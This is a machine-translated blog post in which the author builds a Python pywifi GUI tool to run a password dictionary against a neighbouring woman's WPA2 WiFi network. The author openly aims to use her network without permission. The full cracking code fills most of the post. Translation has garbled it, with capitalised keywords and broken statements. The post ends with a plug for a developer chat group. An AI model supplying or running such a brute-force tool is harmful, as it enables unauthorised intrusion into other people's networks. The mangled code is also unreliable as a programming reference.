Last night after stopping net, I wrote a piece of code to crack a little sister next door wifi password

Android developers now have created a Friends of the water circle, the circle will from time to time to update some Android-class advanced data, are welcome to discuss with technical problems, common development and progress! (UI includes senior engineers, Android bottom of the development engineer, Android architect, native and hybrid optimization performance optimization, flutter specialization); technology heavyweights want to join, the greater the more the right circle to solve the problem of water available!

Last night, her house network, the code for farming purposes, net stop, which may be able to? Call repair network, said too late, to the next day to come ...

Wifi signal suddenly found next door to the sister paper of the full grid wow, that makes me move evil, see there is no way to rub the net, first of all, using a master key, without success ~~~

v2-d493b465346a3492d0e883eb779f224b_720w.jpeg

I can only use the password dictionary to run, oh, this little feature, be sure to python only be done, and search, I found pywifi this component just to meet the demand.

Let's look at the process of recording that my operation.

v2-fa6558d8284c62d6eb3889d05aee1284_720w.jpeg

Thinking

Wifi given name, we recycle a password to get them to try to do, if it fails to disconnect until the connection is successful.

That import the required third-party libraries (please download and install their own good), call the network interface by pywifi, in order to do the test, loop reads the password try to connect. Here only you need to change the password and file path name to wifi.

Preparing the Environment

  • python2.7

  • pywifi module

  • dictionary

Import module

from pywifi import *

Dictionary ready

Random out of the wifi weak passwords TOP10. Line only contains a set password, turn the script reads each line of code until the correct password is found.

v2-ffa19701e960485f06339bc310b71dd3_720w.png

The complete code

Coding #:. 8 UTF- 

from Tkinter * Import 
from TTK Tkinter Import   
Import pywifi 
from pywifi const Import 
Import Time 
Import tkinter.filedialog 
Import tkinter.messagebox 

class MY_GUI (): 
  DEF the __init __ (Self, init_window_name): 
    self.init_window_name = init_window_name 
    
    # Password file path 
    self.get_value StringVar = () 
    
    # get crack wifi account 
    self.get_wifi_value StringVar = () 
    
    # get wifi password 
    self.get_wifimm_value = StringVar () 
    
    self.wifi = pywifi.PyWiFi () # crawling network interface 
    self.iface = self.wifi.interfaces () [0] # fetch the first wireless LAN 
    self.iface.disconnect () # test link disconnect all links 
    time.sleep (1) # 1 second sleep 
    # test whether the card belongs to the oFF state
    assert self.iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  
  def __str__(self):
    return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
    
  #设置窗口
  def set_init_window(self):
    self.init_window_name.title("WIFI破解工具")
    self.init_window_name.geometry('+500+200')
    
    labelframe = LabelFrame(width=400, height=200,text="配置")
    labelframe.grid(column=0, row=0, padx=10, pady=10)
    
    self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
    
    self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
    
    self.label = Label(labelframe,text="Directory path:. ") Grid (column = 0, row = 1)
    
    self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
    
    self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)
    
    self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)
    
    self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
    
    self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)
    
    self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
    
    self.wifi_labelframe = LabelFrame(text="wifi列表")
    self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
    
    
    # 定义树形结构与滚动条
    self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))    
    self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)       
    self.wifi_tree.configure(yscrollcommand=self.vbar.set)
    
    # 表格的标题
    self.wifi_tree.column("a", width=50, anchor="center")
    self.wifi_tree.column("b", width=100, anchor="center")
    self.wifi_tree.column("c", width=100, anchor="center")
    self.wifi_tree.column("d", width=100, anchor="center")
         
    self.wifi_tree.heading("a", text="WiFiID")
    self.wifi_tree.heading("b", text="SSID")
    self.wifi_tree.heading ( "C", text = "the BSSID of") 
  # to display a list of wifi
    self.wifi_tree.heading("d", text="signal")
        
    self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
    self.wifi_tree.bind("<Double-1>",self.onDBClick)
    self.vbar.grid (Row =. 4, column =. 1, the NS = Sticky) 
    
  # Search WiFi 
  #cmd / K C: \ Python27 \ python.exe "$ (FULL_CURRENT_PATH)" the PAUSE & the EXIT & 
  DEF scans_wifi_list (Self): # wifi around the scan list 
    # start scanning 
    print ( "^ _ ^ ... near the beginning of the scan wifi") 
    self.iface.scan () 
    the time.sleep (15) 
    # acquires scan results after several seconds 
    scanres = self.iface.scan_results () 
    # statistics was found near a hot number 
    nums = len (scanres) 
    Print ( "number:% S"% (nums)) 
    #Print ( "|% S | S% |% S | S%"% ( "WIFIID "," SSID "," BSSID "," Signal ")) 
    # actual data 
    self.show_scans_wifi_list (scanres) 
    return scanres 
  
  DEF show_scans_wifi_list (Self, scans_res):
    for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
      self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
      #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
  
  #添加密码文件目录
  def add_mm_file(self):
    self.filename = tkinter.filedialog.askopenfilename()
    self.get_value.set(self.filename)
  
  #Treeview绑定事件
  def onDBClick(self,event):
    self.sels= event.widget.selection()
    self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
    #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
  
  #读取密码字典,进行匹配
  def readPassWord(self):
    self.getFilePath = self.get_value.get()
    #print("文件路径:%s\n" %(self.getFilePath))
    self.get_wifissid = self.get_wifi_value.get()
    #print("ssid:%s\n" %(self.get_wifissid))
    self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
    while True:
        try:
          self.pwdStr =self.pwdfilehander.readline()
          #print("密码: %s " %(self.pwdStr))
          if not self.pwdStr:
            break
          self.bool1=self.connect(self.pwdStr,self.get_wifissid) 
          #Print ( "Return Value:% s \ n"% (
          self.bool1 IF:
            # print("密码正确:"+pwdStr
            # res = "密码:%s 正确 \n"%self.pwdStr;
            self.res = "=== === wifi correct name:% s password match:% s"% (self.get_wifissid, self.pwdStr) 
            self.get_wifimm_value.set (self.pwdStr) 
            tkinter.messagebox.showinfo ( ' Tip ',' successful break !!! ') 
            Print (self.res) 
            BREAK 
          the else: 
            # Print ( "password:" + self.pwdStr + "error") 
            self.res = "error --- --- wifi name: % s match password:% s "% (self.get_wifissid, self.pwdStr) 
            Print (self.res) 
          SLEEP (3) 
        the except: 
          the Continue 
  
  # of wifi and password match 
  DEF Connect (Self, pwd_Str, wifi_ssid): 
    # create wifi link file 
    self.profile = pywifi.Profile ()
    self.profile.ssid = wifi_ssid #wifi name 
    self.iface.disconnect () # OFF 
    time .sleep (. 1) 
    # check off state
    self.profile.auth = const.AUTH_ALG_OPEN # NIC open 
    self.profile.akm.append (const.AKM_TYPE_WPA2PSK) #wifi encryption algorithm 
    self.profile.cipher = const.CIPHER_TYPE_CCMP # encryption unit 
    self.profile.key = pwd_Str # Password 
    self.iface.remove_all_network_profiles () # delete all files wifi 
    self.tmp_profile = self.iface.add_network_profile (self.profile) # set new link file 
    self.iface.connect (self.tmp_profile) # link 
    time.sleep ( . 5) 
    iF self.iface.status () == const.IFACE_CONNECTED: # determines whether or not the connection 
      ISOK = True    
    the else: 
      ISOK False = 
    Assert self.iface.status () in \ 
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 
    return ISOK 
    
def gui_start ():
  init_window = Tk () 
  ui = MY_GUI (init_window) 
  print (ui) 
  ui.set_init_window () 
  # ui.scans_wifi_list () 
  
  init_window.mainloop () 
  
gui_start ()

result

Run results are shown in FIG, you GUI according to the operation, we can begin to run up.

v2-13940d8689d626dd12024ee9045beb41_720w.png

There are other opinions welcome comments. Discussion questions please leave a message; the way into the ring: + thumbs attention, private letter reply to me 'information' can into the ring.


Guess you like

Origin blog.51cto.com/14557669/2483926